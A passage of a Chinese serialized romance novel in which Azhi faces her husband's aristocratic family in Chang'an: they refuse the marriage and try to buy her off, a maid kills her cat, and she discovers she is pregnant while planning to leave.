不过,她对阿致实在是了解太少。阿致这个人,向来有仇必报。
阿致站在长安城的大街上,阳光明媚,比鹭双院那逼仄的院子要暖和、敞亮。长安城的早市也甚是热闹,各色早点应有尽有。阿致买了两三样,细细品尝,末了再买一点小鱼带回去给小寒。
她掐着时间在路上慢悠悠走,足足在外呆了半个多时辰才回到鹭双院。
院子里一点声音也没有,连平日里诗临挥着掸子对小寒叫骂的声音也没有。
阿致翘起了嘴角,她如常走进厅里去。
只见诗临面朝里头歪歪斜斜跪着,无声垂泪,上首的桌边坐着陆昀峥,他满脸阴云密布,看着桌上热气腾腾的包子、肉粥。
阿致将手中的小鱼放到碗里,招呼小寒过来,蹲在地上问他:“这是怎么了?”
陆昀峥歇了火气:“没事,她犯了点错,我骂她几句。”
阿致点了两下头,没有再问,她走进房里,拿出快做完的棉衣,在陆昀峥身上比划:“收个袖口就行了。”
陆昀峥打量着她神色,问她:“这丫鬟近日可有怠慢之处?”
阿致捏着那个没收口的袖子想了想,又想了一想,正好对上诗临怨毒的眼神。
陆昀峥道:“无论什么,你可以直说。”
阿致坐在他身旁,笑着道:“能换了她么?”
诗临赶紧跪得板正,小声哭起来:“三公子,我只是无心之失,我保证也只今日打骂了这猫。如果我被换了,管家定是认为我做了天大的错事,要罚我月银,还要罚我做苦差……”
阿致抿着嘴唇看她,歪着头,兴致很好。小寒吃完鱼,舔干净嘴巴和前爪,轻轻一跃,蹦到阿致的双腿上,盯着诗临。
诗临被那黑漆漆的眸子盯得毛骨悚然。
陆昀峥皱眉,侧头看着阿致:“好,我请母亲重新安排。”
说着,他当即起身。
诗临一脸绝望地看着陆昀峥离开:“三公子,三公子!”
屋里顿时只有阿致和诗临两个人。
阿致看着那热腾腾的肉粥,感觉还不错,可惜方才她吃得太饱了,舀了一勺,完全没有胃口,放了回去。
诗临抹一把泪,嚼着下巴帮子:“真是阴险。”
阿致看着她,长叹一口气:“你做初一,我做十五,还有脸说我阴险?”
“你早就看我不顺眼,故意谋划着将我赶走!”诗临恨恨道,“今日也是你故意让我以为三公子外出……”
今早,阿致照例外出买早点了,诗临看着空无一人的院子,便肆无忌惮地拿猫泄气,正把猫踢得浑身发毛的时候,陆昀峥回来了。当时陆昀峥没有发作,而是问她阿致去了哪里。诗临便说表姑娘自己去外头吃早饭了,然后给陆昀峥上了早饭。陆昀峥看着早饭,头一次发了好大的火,吓得诗临跪下认错。直到这个时候,诗临才知道,这新来的表姑娘可不像表面上那么淳朴。
“你欺负小寒这么多天,就是觉得它一个畜生,没有长嘴,好欺负。这不就是你的报应么?”阿致捏着针,继续给棉衣收口。
诗临从冰凉的地上爬起来,出门之前说:“你以为三公子不会看清你的真面目?”
真面目?
阿致捏着针的手顿住,随即又快又稳地缝着袖口。她不在乎这些,她只是觉得很累。在长安城这小院子里度过的十天,处处受人掣肘,漫长得像十个月,她很踌躇。
·
不多会,陆昀峥从外头回来,他身后领着一个十五六的小丫鬟,银盘脸大眼睛,满脸局促,偷偷抬眼看着阿致。
小丫鬟矮身行礼:“奴婢红英。”
阿致点点头,没说什么。
小丫鬟自觉拿起抹布打扫柜子椅子。
陆昀峥这时终于坐下,拿起汤匙,大口喝粥。
粥已经冷了,凝成了块状。阿致让红英热了再拿来。
陆昀峥抬手制止:“不用。”
在军营里时,什么吃食他没见过,不过就是冷粥而已。
陆昀峥三两口喝完粥,阿致在一旁低头缝制,终于做好了。
陆昀峥要换上,阿致不允。
陆昀峥问:“做了不就是来穿的?”
“我做工不行,你穿出去要闹笑话,留着在家里穿。”阿致满意地看着这成衣。
陆昀峥没有再坚持,他两口吃完包子,道:“今早我和母亲说过了,她这两日头风好些了,便会和你见面,谈我们的婚事。”
阿致嘴角挂着一抹笑:“好。”
她转身去把成衣叠起来,放在房间里。
陆昀峥放下碗筷,让红英拿走,然后走到房里,从身后抱着阿致,她穿得不少,但浑身没什么热气。
阿致问:“你不是说今日还有事?”
“这么想我走?”陆昀峥亲她的侧脸。
阿致双手握着他的手臂,两人抱着一会,都没说话。
最后陆昀峥说:“不管发生什么事,都要告诉我。不要自己一个人忍耐。”
阿致低头看着光整的地面:“我这里事情多又琐碎,总不能什么鸡毛蒜皮都去烦你。”
“我是你丈夫,为何不能烦?”
阿致笑了笑,“嗯”。
终于,陆昀峥松开手,准备外出办事。
阿致送他出门,她站在廊檐下,望着陆昀峥离开。
院子里有阳光,光落在他一边肩膀上,还有头上脸上,很亮。
陆昀峥回头,看了她一眼。
阿致挤出一丝笑来,看着他。
陆昀峥矮身,从拱门离开。
阿致垂下眼,也走到光下来。也不知道为什么,来到长安城,住到这院子之后,她看到的世界似乎是灰白色的。明明也能看到红色、黄色的花,可……就像是黑蒙蒙的失了色彩。
不过,诗临走了,阿致和小寒的日子总归是好过了。
晚上,丫鬟红英会自觉从厨房里拿晚饭来,甚至还问阿致想吃什么。阿致自己没什么要求,只让红英找些鱼来给小寒吃。红英没有多嘴,麻利地办了。
到第二日早上,阿致早起,红英又送来热的洗脸水和早饭。红英听话,阿致便准她不用打扫,毕竟这院子里都没什么人,没必要打扫。
中午,红英坐在门口的小凳上打瞌睡,阿致在院子里晒太阳,做衣裳,陆老夫人身边的许姑姑又来了。
·
“府中太忙,慢怠了姑娘,姑娘不会介意吧?”陆老夫人坐在厅堂最上的位置,嘬一口热茶,笑盈盈看着阿致。
“阿致不敢。”阿致坐在厅堂下左侧的大椅子上,她等着接下来的话。
陆老夫人收起一分笑:“听老三说,你们是情投意合,所以想成婚。”
阿致嘴角噙了一丝笑,神态有三分恭敬:“是,我们在宜城便办了婚事。”
陆老夫人放下茶盏:“姑娘,你真心爱我们阿峥?”
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“是。”
“不是因为他身上别的东西?”陆老夫人笑意更深,仿佛自己能看透对面的十八岁的姑娘。
面对打量,阿致面色沉稳,她问:“老夫人您指的是什么?”
“你也不要怪我多想,毕竟阿峥他出身侯府,凭着自己做到副将,也算是一身本事。此次陛下还要封他为将,长安城里多少才貌双全的女子要与他结亲。不过姑娘你嘛……”陆老夫人顿了顿,在阿致身上打量,“说实话,我听说的时候很是突兀。”
阿致身上穿着的,是自己做的一身,料子不够华贵,款式更是简单,没有修饰。阿致的双手放在身前,微微动了下手指:“老夫人什么意思?我不太明白。”
陆老夫人看着阿致微动的手指,嘴角的笑意更大:“成婚讲究门当户对,这样两人才能互相扶持,走到白头。姑娘你说真爱老三,那你可曾考虑过,你对老三有什么助力?是能助他青云直上,还是能助他理清中馈?”
阿致嘴角抿成一条直线,看着陆老夫人嘴角的笑意,她眨了眨眼睛,把怒火压下去,咬着牙,道:“理中馈并不难,只要您肯教,我有信心能学得很好。”
陆老夫人垂眸,端起茶杯,又慢慢嘬一口茶。
阿致坐在一旁等回答。偌大的厅堂里,十分安静、暗沉,连阳光也照不进来。
陆老夫人不疾不徐喝完几口,放下茶盏,道:“礼部尚书有意于老三,想要将唯一的小女儿嫁给老三。”
阿致一口牙快要咬碎了,她提醒自己,千里迢迢来到长安是为了和陆昀峥成婚,不是为了吵架的,要忍耐。
她捏紧了拳头,又慢慢松了,缓慢地道:“我理解您的担忧,如果我是您,自然要担心其他人的别有用意。不过,阿峥他并不在乎所谓功名利禄,否则他一开始就不会求娶我。”
“那是因为老三还年轻,没有想清楚其中利害。等他想清楚的一天,总归会后悔。到时候他怨你,你能承受?”
“人生不就是自作自受么?如果有一天他后悔,我放他走。”阿致昂起下巴,“不过现在——我与阿峥已经成婚,有了夫妻之实,侯府不会不认账吧?”
陆老夫人看着阿致,露出得意的笑容:“这就露出真面目了?”
阿致眯眼看着老夫人,终于明白,老夫人一开始就打定主意不会同意,无论她怎么争取。
“我还当你多厉害呢,原来不过雕虫小技。”老夫人怒道,“你哄得老三与你办酒席,又哄得他三番两次到我这里来闹,又是婚事又是丫鬟的,把他当枪使,想要胁迫我们两个老的就范,以为我不知道么?”
昨日早上,老三请安的时候特意质问她这个老娘,是不是故意冷待阿致,是不是故意拖延婚事,这叫陆老夫人气得胸闷。
阿致直接问:“所以你不会给我们通婚书?”
陆老夫人沉默许久,道:“你若是愿意做妾——”
“不可能。”阿致斩钉截铁,她起身,看着厅堂上的陆老夫人。
陆老夫人似乎早就预料到她这反应,十分冷静:“当然,若是你愿意,我们也可以帮你找一个很好的对象,给你准备一笔嫁妆。”
·
晚上,陆昀峥还没有回来,阿致对着几碗菜,没有胃口。回过神来时,饭菜已经冷了。
红英喂过小寒,将小寒抱在怀里,问:“表姑娘要拿去后厨热一热么?”
中午许姑姑将表姑娘领走,不多会,表姑娘回来了,便这么神不守舍的,在房里坐了一下午,对着三公子新做好的棉衣。
阿致用筷子扒着米饭,确实心思重重。
陆昀峥回来之后,必然会知道他母亲找过她谈话的事,也必然会问她谈了什么。
那她到底要不要说实话?
果然,不多会陆昀峥从外头回来了,他脱了外头的大氅,一脸欣喜:“母亲今日找你谈话,怎么说?”
59. 第 59 章
59
陆老夫人将阿致找过去,表明了态度,还好一通羞辱。这确实是事实,但万一说给陆昀峥听,他大概会冲动——阿致很纠结,不知道该怎么说才好。
陆昀峥看着她的脸色,皱起眉头:“究竟发生了什么?”
阿致深呼吸一口气:“你母亲不同意我们成婚,不会给我们通婚书。”
陆昀峥脸色不愉:“还说了什么?”
“你母亲想让我做妾。”阿致看着他,“我不同意。”
“还说什么了?”陆昀峥的面容舒展了些,可眼神里透着决绝的冰冷。
“没有了。”
陆昀峥深呼吸一口,抬腿便往外走。
阿致伸手去拉他的衣角:“你不要冲动。”
“我知道,我会好好和母亲说。”陆昀峥嘴角挤出一丝笑来,扒开她的手。
他的眼里是滔天怒意。怎么可能好好说?
·
陆昀峥带着情绪去找母亲,自然谈不出什么结果来。反而,他为了一个乡野女子和母亲吵架的事,传得丫鬟婆子都知道了。
当天晚上,陆老侯爷回家得知此事,家法处置后,罚他去祠堂跪了一整夜。
那一整夜,阿致也没办法睡觉,但她也没有资格去看他。当然,她也出不了院子,陆老侯爷下令,往后不许她出鹭双院一步。
阿致就这么枯坐到第二天早上。
第二天早上,陆昀峥还是没回来,许姑姑又来了,带着阿致去见陆老夫人。
陆老夫人正在吃早饭,冷着阿致许久,放下碗筷,才淡淡地说:“你怂恿我儿来斗我?”
“都是事实,怎么就不能说给阿峥听?”阿致冷冷看着她,扬着下巴。
“好一个事实……”陆老夫人拿茶水漱口后,道,“你口口声声说爱着老三,可你看现在他为你出头,受了罚,得罪侯爷。你除了扯后腿,还能为他做什么?”
阿致抿着嘴唇,没有说话。
“你最好想清楚,再决定怎么说怎么做。不要让老三失去更多了。”陆老夫人挥挥衣袖,示意她离开。
呼之则来,挥之则去。这是陆老夫人对她的定位。
阿致握紧拳头,笑着道:“阿峥喜欢看兵书,我跟着看过一点。行军打仗,第一重要的便是五事七计,简单点说,打不过的就暂时不要打。阿致不过边塞一小户女,如今到了繁华长安城里,在这偌大侯府里无依无靠,很清楚不可能如愿。不过,小女子还是想说一句,您瞧不上我,我也不大瞧得上您的做派。如果不是为了阿峥,我一刻都不会多留;我对你客气,也不过是看在阿峥的面子上。”
陆老夫人气得眼睛圆睁,这是第一个敢到她面前放肆的。待要开口训斥,阿致一个转身,已经走了。
·
阿致回到鹭双院里,陆昀峥已经回来了,小厮扶着他躺到床上。
阿致绷着脸,将他裤脚掀到膝盖,膝盖下一片紫的、青的。
她手指轻轻拂过那些淤青。
陆昀峥捏住冰冷的手:“不用担心。”
阿致也握住他冰冷的手:“我给你上点药。”
上药的时候,陆昀峥躺着,他道:“我们出去住吧。”
阿致倒药酒的手一顿:“过两日就是除夕了,你这个节骨眼搬出去?”
“原本过几日就要回去宜城,我想的是忍一忍就好了,现在看来,没必要忍着。”
阿致也觉得忍无可忍,她给他轻轻涂药酒:“可是,我们出去哪里住呢?”
就算他父母不给通婚书也行,她和陆昀峥去宜城继续过两人的小日子。陆昀峥愿意站在她这一边,她心里松快了很多。
“客栈吧,也就这几天。”陆昀峥笑着道,“你不用太担心婚事。这次述职,陛下对我赞赏有嘉,很可能封我为大将军,常驻宜城,待我宜城建功立业,便能自立门户,与你名正言顺。”
阿致点点头:“我信你。”
“就是宜城与胡虏一战,若想一击必胜,还须得等待至少三年。”
“我知道。”阿致伸手抚着他眼下的脸颊,“我都知道。”
知道你的志向,知道你的决心。过去在城墙上的日日夜夜,陆昀峥与她说过许多征战的故事,他的眼神从不掩饰。
陆昀峥拉住她的手指,抱着她:“对不起。”
所有的事,他都对不起。
·
陆昀峥只带了个包袱,在除夕的当天早上,和阿致离开了鹭双院,带着小寒。
除夕夜的长安,格外热闹,集市上到处都是人,爆竹声声,小孩穿来穿去。
今日格外的冷,甚至飘起了雪花。
阿致和他手牵手,一起在长安街道上闲逛,无所顾忌。来长安之后,她的心情如此放松还是第一次。
有卖糖人的,阿致和陆昀峥一人一个。陆昀峥伸手给她将大氅上的雪片拍掉,掐了掐她笑嘟嘟的脸颊,都冻红了。
日子会越过越好的吧,捏着陆昀峥的手时,阿致当时想。
回到宜城就好了。
·
“赁一个院子?”阿致十分震惊,拿着陆昀峥外衣的手一顿。
陆昀峥刚下早朝,从风雪中回来,一身的风雪,手中拿着阿致递过来的热茶,喝一口,浑身都暖和了:“咱们缓一些时日再回宜城。”
阿致满腹疑窦,她慢慢将陆昀峥的外衣挂起来:“圣上的意思?”
陆昀峥点点头,将茶放在一边:“咱们正好可以留在长安好好过年。”
阿致又问:“要赁多久的呢?”
“先找三个月的吧。”
“三个月……”阿致喃喃。不知怎的,她想起来陆老夫人与她说的那番话——“不要让老三失去更多了”。
难道是陆老侯爷出手运作,阻止陆昀峥回到宜城?可是,陆老侯爷不至于会断了自己亲儿子的前程吧。阿致皱起眉头,摇了摇头。
陆昀峥转过来,将她抱在怀里:“不要多想,圣上自然有圣上的用意,咱们只管把自己的日子过好了。”
阿致点点头,她伸手摸着陆昀峥冰凉的脸颊:“陛下只是让你暂缓回去,还有其他事吗?”
陆昀峥爽快地道:“没有。”
阿致的手指抚摸过他翘起的嘴角。
·
原本阿致和陆昀峥定好了要赁的院子,是一个两进小院,院子里光线还不错,还有个干净的厨房。
两人搬进去,打扫干净后住了一段时日,无人打扰,算得上是两人婚后的甜蜜日子。
阿致很想问他回去宜城的计划,但总是不忍心。他不上早
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朝的日子,两人就在院子里晒着朝阳吃早饭,看院子前人来人往,孩童们互相打闹。阿致望着淡金色的阳光,心中十分满足,这就是她想要的生活,她恨不得一辈子就这样生活下去,可是当她兴致冲冲地转头,要与他说墙角一朵白色水仙开花时,正瞥到他脸上淡漠的失落。
这时候,阿致伸出去的手顿在半空中。
陆昀峥挑起嘴角的笑,收起眼中的思绪,转头看她:“怎么了?”
阿致也挑起嘴角的笑:“花开了。”
原来,只有她一个人感到开心幸福,他并不是。或许陆老夫人说的也没错,她的幸福,是另一个人的负重前行,是另一个人的失去换来的。
于是,关于回去宜城的事,阿致不打算再问。
这一日下午,他们打算去置办一套桌椅。这院子里的桌椅全是缺胳膊短腿的,用着总是不舒服。
恰巧陆昀峥的两个朋友来找他一同外出,阿致便让他出去玩玩。
他的两个朋友都是贵公子,看到她时眼神中只有窥探,没什么惊奇。阿致听说过,长安城里的许多富贵人家,在外头安置一个院子养女人的不少,称之为外室。
到晚上陆昀峥还没有回来,阿致一个人在家做牛肉面。煮面的时候发呆,竟然将面汤煮干,面都糊了。
索性,阿致出门去逛长安的夜市,顺便买些好吃的好玩的。
她手上拿了一个好看的灯笼,灯笼外头的纸面上是四个美人。遇到卖冰糖葫芦的、糖人的,她便各买了两串,塞到嘴里。
大概是因为心情低沉,她这些天特别能吃。
看到说书的茶楼,格外宽阔敞亮,阿致来了兴致走进去,刚坐下,她一抬头就看到了一个熟悉的身影,在对面二楼的栏杆边上。
陆昀峥和他的朋友们坐在一起,喝酒谈天,笑得畅快。这是回来长安城后,他第一次笑得如此开怀。也是阿致第一次见他喝得面红耳赤。
陆昀峥似乎是有些醉了,他一只胳膊肘抵在桌面上,手掌捂着侧脸。
对面安静坐着的女子笑了,将蚕丝帕子递给他擦脸上的热汗。
陆昀峥大概是醉迷糊了,伸手将帕子接过来擦了一把,扔在了桌上。
阿致的手慢慢捏紧,二楼那个女子转头,和阿致对上了眼。
后来阿致才知道,这个女子便是陆老夫人口中的女子,名叫谷湘如,父亲礼部尚书,本人端方贤淑,是城里有名的贵女。因着一次宴席,谷湘如看上了陆昀峥。
谷湘如似乎是认识阿致,所以她直白地盯着阿致,隔着偌大的空旷的院子。两人谁也没有收回目光。
陆昀峥醉倒在桌面上,他身边的朋友正好也看到阿致,便叫个跑腿的扶到阿致面前去。
谷湘如也跟过来了,特意无视阿致,居高临下冷冷吩咐跑腿的:“将陆公子送回侯府里去。”
阿致打量着她,对那跑腿的道:“请跟我来。”
跑腿的年轻男子喘着气:“好嘞。”
谷湘如比阿致要高一些,一身的华衣,对比阿致,更有气场一些,她铿锵道:“送去侯府。”
跑腿的算是弄清楚了,这两个女子要将这位公子爷送去不同的地方。他鼓起一只眼睛打量阿致,不像外室那妖妖娆娆的做派,当然也不像这公子爷的正经良配就是了。
62. 第 62 章
62
半个多月没有来侯府,阿致对这里依旧印象很深,尤其是如何去到陆老夫人的院子里。
陆老夫人请她过去,定然不是什么好事,更不会是突然想通了让她和陆昀峥成婚。
只是,阿致没有想到连陆老侯爷也在,他年近五十,但因为保养得宜,显得整个人非常的精干,尤其是那双眼里看似平淡的光,有着利剑一般的锋利。陆老侯爷与夫人坐在上首,慢悠悠喝茶。
阿致心想,今日要谈的话恐怕很上不得台面了。
阿致站在厅堂中央,没有坐下来。
陆老夫人抬眼皮看了她一眼,道:“一百两银子。”
阿致看着她,没有开口。
沉默了一会,陆老侯爷也抬眼皮打量了她一眼,一副瞧不上的神情。
阿致站直了,看着这两位。
陆老夫人这才接着道:“离开老三,你就能拿走一百两银子。”
阿致捏紧了拳头,抿着嘴唇看那二位,转身要走。
许姑姑急忙伸手,将阿致拦在门口。
陆老夫人的声音响起:“当然,你若是真对老三有情谊,在他与尚书家的千金成婚之后,便可将你抬作妾。但凡你是个聪明人,就该知道我们退让了多少。”
“听这意思,我也就这两条路可以走?”阿致嘴角噙着一丝笑。
“想要让老三娶你,那是不可能的。”陆老侯爷闭着眼睛冷哼一声,“你这样的女子,长安城里多的是,不过就是求财,不用在我们两个老的面前装。”
阿致没有说话,她抬脚继续往外走,被许姑姑一把拉住,撞在门楞上:“有没有规矩?侯爷、夫人和你说话呢!”
阿致的手背被门楞划开一道口子,渗出几颗艳红的血珠来。
陆老夫人道:“你想要拖延的话,也是没有用的。拖延一天,便要少拿二十两。你自己掂量。”
说完,示意许姑姑放开阿致,让她可以离开了。
阿致转身回来。
她怒视着陆老侯爷和陆老夫人,高昂脖子:“我还真不稀罕你们陆家。”
陆老侯爷睁开眼来,眼□□光,唾沫星子都喷出来:“哼,你这种宵小之辈,竟敢口出狂言。只要有我们两个老的在,一辈子都不可能让你踏进侯府一步。”
他大概从来没见过对他如此放肆的人,尤其是个毫无身份的女子。
阿致白眼翻上天,早都走远了。
她真是受够了,恨不得立刻远离这些烦心事。
·
阿致回到小院里时,陆昀峥还没回来。
小寒正在院子里晒太阳,它看到阿致便起身来迎接,十分殷勤。阿致这才想起来,她一气之下忘了给小寒买吃的回家,家里的小鱼都吃完了。
但眼下有更急迫的事,她也顾不上了,拿钥匙打开锁,开始收拾自己的行李。收拾好行李,塞到箱子里,她又去取来笔墨纸砚,铺开在房里的那张瘸腿的圆桌上,一鼓作气地写了封信,又用白纸折了个信封。
阿致刚弄完这一切,突然陆昀峥从外头回来,他身上还穿着官服,一头的热汗。
阿致吓得一哆嗦,赶紧捂住自己手中的信封,用身子挡住他的视线,藏到桌子底下,将信塞到袖子里:“你做什么流了这么多汗?”
“快走了几步。”陆昀峥绕过来,“你在写什么?”
阿致张嘴看着那一叠白纸,道:“我……打算练字。”
这理由实在是太敷衍了。她侧头一看,他的手背在背后,不知道拿着什么,似乎有意不让她看到。
“你的手受伤了?”陆昀峥捏起她一只手腕,赶忙坐下来,将手中的东西放在一旁,是个长长的首饰盒,像是个发簪。
“不小心刮到了,不算什么大事。”
陆昀峥低头看着她涨红的侧脸,许久没有说话,转而问她:“你今日出去了?”
“嗯。”阿致的手指轻轻摩挲膝盖,“我听说圣上将你换下来了。”
“没事,我都不在乎。”陆昀峥安慰她。
阿致点点头,没有说话。
陆昀峥道:“先前我不说,就是怕你现在这样难过。”
他伸手捧着她的脸,嘴角翘起看着她。
阿致仔细打量他的脸,他脸上、眼里都是温和的笑容。明明,他才是断送梦想和事业的人,明明,他才是最有资格难受的人。可是他选择先安慰她。
阿致捏紧了袖子口,把袖子里的那封信捏得死死的。
陆昀峥拿起那个首饰盒,准备送给她。
阿致撇开脸,起身来:“我肚子饿了。”
陆昀峥将首饰盒放在桌上,和她一道去外头吃饭。
·
第二日早上,天还没有亮,阿致睁眼醒来,她侧头看着身边的陆昀峥。
他还睡着,呼吸绵长。
阿致伸手,轻轻搭在他的脸侧,大拇指轻轻摩挲他的眼角。
阿致眼角划过一道泪,轻轻道:“对不起。”
说完,她起身去做早饭,惊醒了床脚的小寒,小寒伸个懒腰,过来和阿致卖乖,小脑袋瓜在她手掌下蹭来蹭去。
·
不知为何,阿致有些头晕,或许是起早了。
阿致勉力将做好的热粥和两碟菜端上来,陆昀峥已经起床,他的脸色不太好看。
但阿致也没有过问,只是招呼他来过早。他新买的桌椅板凳,确实很好用,平整结实。
离开之前,阿致想要好好和他一起吃顿饭。
陆昀峥坐在她身旁,道:“你有没有什么话要对我说?”
阿致眉峰一挑,难道他已经知道了?
不如直说吧,阿致张嘴正要坦白,外头有人敲门。
是诗临,她在院子门口,语气焦急:“三公子,老夫人病了。”
陆昀峥皱起眉头,起身去门口:“怎的病了?”
阿致坐在里屋,看着陆昀峥走开的背影,拿起了筷子。
诗临瞅着屋里头,阴阳怪气道:“说是被气到了,也不知道是怎么被气到的。昨晚上老夫人便说不爽利,念着您半宿。侯爷这才遣奴婢过来催您过去。”
阿致耳朵听着,目光集中在饭菜上,一口一口地咽下去。
陆昀峥从外面回来,面有急色:“我回家一趟。我有话和你说,你等我回来……不要出门。”
阿致咽下口中的一口热粥,看着他的眼睛,点点头:“好。”
陆昀峥如释重负,他脚步生风地走了。
阿致沉默着把剩下的半碗粥吃完,然后将陆昀峥
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的那一碗热粥和两碟菜放到锅里用热水温着。
她给小寒弄了半碗小鱼,小寒埋头吃起来。阿致轻轻摸它的头:“快点吃。”
接着,阿致从木箱里拿出昨日整理好的包袱,检查其中的银钱,她爹沈金临终前给了她几张银票,阿致只带了一半过来。饶是这一半,阿致也要谨慎点,分成全身三个地方藏着。又检查一遍过后,阿致将包袱斜挎在背后,稳稳地系在胸前。她又从床板下边掏出一把短匕首来,藏在裙摆下的短靴里。
小寒吃完了,喵喵叫着过来撒娇。
阿致拿过一块布,系在胸前,在胸前留出一个布兜来,一把捞起小寒,将它放在布兜里。
又从袖口里掏出一封信来,阿致展平,放在那张新买来的棕红色大桌上,她的食指从信封上轻轻刮过,毫不犹豫地转身出门。
出门之前,阿致回头,环视这住了几日的房子。在这里她曾经感觉到非常幸福和满足。但是终究……不属于她。
阿致头晕得有些难受,她甩了甩头,跨步出院门,关好院子,快步离开。
如果他挽留她,她会忍不住想要继续纠缠,继续为了无希望的未来痛苦,继续忍受拖他后腿的愧疚。
她选择了不告而别,希望他不要怪她。
·
阿致再次醒来时,是在医馆里,一个年轻男子笑着道:“小娘子你总算是醒了。”
阿致揉眼睛:“我怎么在这里?”
“方才小娘子在路上突然晕倒了,恰巧我这里的一个药童看到,合着一个过路的侍卫,将你送过来。”
阿致想起来了,她出门没多远,眼前视物模糊,一大片黑色,站立不稳,很快便晕倒了,十分突然。
原来是遇到好人了,阿致对这年轻大夫道谢。
大夫摆手:“无碍,不过顺手的事罢了。”
阿致想着要付钱,才发现身上包袱不见了,赶忙问:“我的包袱和猫呢?”
“猫跑了,不知道去了哪里,包袱在这里。”一个十二三岁的药童将包袱递给她。
阿致系好包袱,从腰间掏出银子付账,急急地要走,去找小寒。她最怕小寒溜回院子里去,那她不得不与陆昀峥打照面。
她这猛地一起身,头又晕了。
大夫赶忙伸手扶她的胳膊:“小娘子你已有身孕,可知道?”
阿致目瞪口呆,看着大夫。她不希望是真的,可是她的月信确实迟了小半个月。
这孩子真会挑时候。
大夫见她独身背着包袱,便安慰道:“小娘子既然知道了,就要多注意身体,好好休息,勿要操劳,尤其是心胸开阔些……”
大夫叮嘱了许多,阿致完全没有听进去。她的手紧紧握住胸前的包袱布,快速起身,赶紧回去院子里,把一切复原,把那封信收起来,在陆昀峥回来之前。
如果只是她一个人,闯荡生活吃点苦没所谓。决定和陆昀峥在一起之前,她就预料到很多不好的结果,不能成婚也不过是自作自受,她受着便好。可是,以她手上那点碎银子,想要独自一人养大孩子,其中艰辛苦楚……阿致第一个想到的就是宜城那个面馆老板娘,丈夫死后,独自养孩子讨生活,哪一样都相当不容易。
为了肚子里的孩子,她必须要从长计议。
63. 第 63 章
63
阿致往家里走,脚步急切,首先她不能让陆昀峥看到桌上那封信。
快到院子门口时,她看到了诗临。
诗临正弯腰拧着小寒的耳朵,面目狰狞地将它甩到一旁。
阿致跑过去,怒吼一声:“做什么?!”
诗临看到阿致,还抬腿踢了小寒一脚,小寒当即歪歪扭扭倒在地上,努力爬起来,又倒下去,嘴里发着微弱的呼呼声。
阿致赶忙蹲下去查看小寒的伤势,小寒靠在她的掌心里,眼眶湿润喵喵地叫,但进气已经没有出气多了。
应是伤到了要害。
阿致抱着小寒起身,冷冷看着诗临:“你会为此付出代价。”
诗临双手抱在胸前,不以为意地嘲讽道:“好啊,我等着你找三公子告状。一只猫而已,你看有没有会把一只畜牲当回事?”
阿致抱着小寒,推门进去院子里。
诗临道:“老夫人叫我来通知你,已经过去了一天。”
阿致拿出钥匙,打开铜锁,回到房间里放好包袱,将那一封信拿出来,扔到灶台里,烧成灰烬后,她又抱着小寒出门去。
刚出门,和陆昀峥撞了个满怀,他满脸急色,大冷天的一头热汗,双手捏住她的手臂,看她的眼睛:“你去哪里了?”
他的声音沙哑。
阿致低头看着小寒,避开他的视线:“有事。小寒受伤了,我带它去看兽医。”
“谁伤的?”陆昀峥问。
阿致垂眸看着怀里呜咽的小寒:“一个畜牲。”
说完,阿致往外走去,小寒耽搁不起。
“我随你一起去。”陆昀峥捏着她手臂的力道终于松了些。
阿致没有说什么,两人便一道去街上找寻兽医帮忙看。
寻了两个兽医,都说小寒被伤到了内脏,应是活不了了。
这样一折腾,午时都过了。
阿致抱着小寒回到院子里,呆呆坐在床边一会。小寒就像个年幼的孩子,疼痛又委屈,眼泪在眼眶里打转。
阿致眨眨眼,将眼泪忍回去。
陆昀峥从外头买了两碗面,让她先吃。
阿致没有回应他。
陆昀峥把碗筷递过来,阿致撇开头:“不用管我。”
这一天晚上,阿致把小寒抱在胸前睡觉。
陆昀峥贴在她身后。
阿致努力睁眼看着小寒,还是睡着了。
第二天早上醒来时,小寒还是死了,身体发硬,双眼睁着,仍旧残留了死前的痛苦。
天还没有亮,阿致撑着身子起床。
“怎么了?”陆昀峥问她。
阿致穿好衣裳,四处查看院子,最终选定墙角,拿了铁锹过来挖。
泥土比她想象的更硬,再则天气寒冷,她的手僵得动不了。
陆昀峥从她手中拿过铁锹,他三两下,挖了一个坑。
阿致走到房里,把小寒用湿掉的枕巾裹好,埋在了墙角下。
·
做完这一切,天刚刚亮了,只是今日天气不太好,灰蒙蒙的,风也大。
陆昀峥从外头买来早点,各式各样的都有,包子、豆腐脑、油条。
“你吃一点吧,昨天一整天都没有吃东西。”陆昀峥将包子递给她。
阿致看着这包子,又抬起肿着的双眼,轻轻咬牙:“不吃。”
陆昀峥又将豆腐脑递给她:“多少吃一点。”
“啪嗒——哐——”阿致一巴掌将他手里的豆腐脑打翻在地上,那个小瓷碗在地上转来转去,终于慢慢停下来。
一地的白色豆腐脑,甚至有一些溅湿了陆昀峥的衣摆。
阿致看着他的衣摆,抬头看着他。
他面无表情,但眼神里的惊愕躲不过阿致的探查。
他轻轻道:“不想吃就算了。”
说完,他转身厅堂里拿扫帚,躬身将地上的豆腐脑细致地扫干净。
阿致看着他做完这一切,紧抿着嘴唇。
等到他拿着扫帚出去时,阿致伸手抹了一把酸酸的鼻尖。
陆昀峥重又进来,一脸平静,仿佛什么都没有发生过,将包子递给她:“快冷了,吃吧。”
阿致盯着那包子一会儿,深吸一口气,道:“难为你一个侯府的公子哥,哄我吃喝,还要忍耐我的任性……不过,你做这些表面功夫有什么意义呢?我们又不会成婚。”
这话似乎完全出乎陆昀峥的预料,他满脸震惊,捏着包子的手顿在空中,喉结上下滚动,终究一句话没有说出来。
阿致却笑了:“反正你已经和礼部尚书的女儿议亲了,也没必要再隐瞒我。我不愿意做妾,更不可能做外室,这你是知道的。”
“阿致——”陆昀峥声音沙哑,他伸手去拉她,“我不可能和别人成亲,我的妻只有你一个。”
阿致抬手臂,避开他的手。
陆昀峥的手顿在半空中。
阿致轻轻咬着下嘴唇,道:“我早就想说了,如果一开始你告诉我,你是这样的人家,我自知高攀不起,就不会背井离乡走到这步田地,更不必受你父母羞辱。现在你看,侯府里的一个小丫鬟都可以将我的猫随意踢死,更不用说你父母会怎样对我了,他们想要踢死我,就像踢死小寒一样吧。”
阿致说完,是长久的沉默。
陆昀峥的手收回去了,撑在膝盖上,他双眼看着阿致,似乎想要从她脸上揪出什么证据来,最后无能为力地道:“一开始是我的不对,但是阿致,你信我,这辈子,我不会娶别人。至于小寒……谁伤害了它,我一定会将她抓来,任你打罚。”
“有什么用呢?小寒已经死了。”阿致撇头,不再看他。
陆昀峥坐在她身侧,良久,说了一句“对不起”,转身便出去了。
阿致听到他离开的脚步声,许久,终于朝空空如也的门口看了一眼,眼里的泪再也忍不住。
·
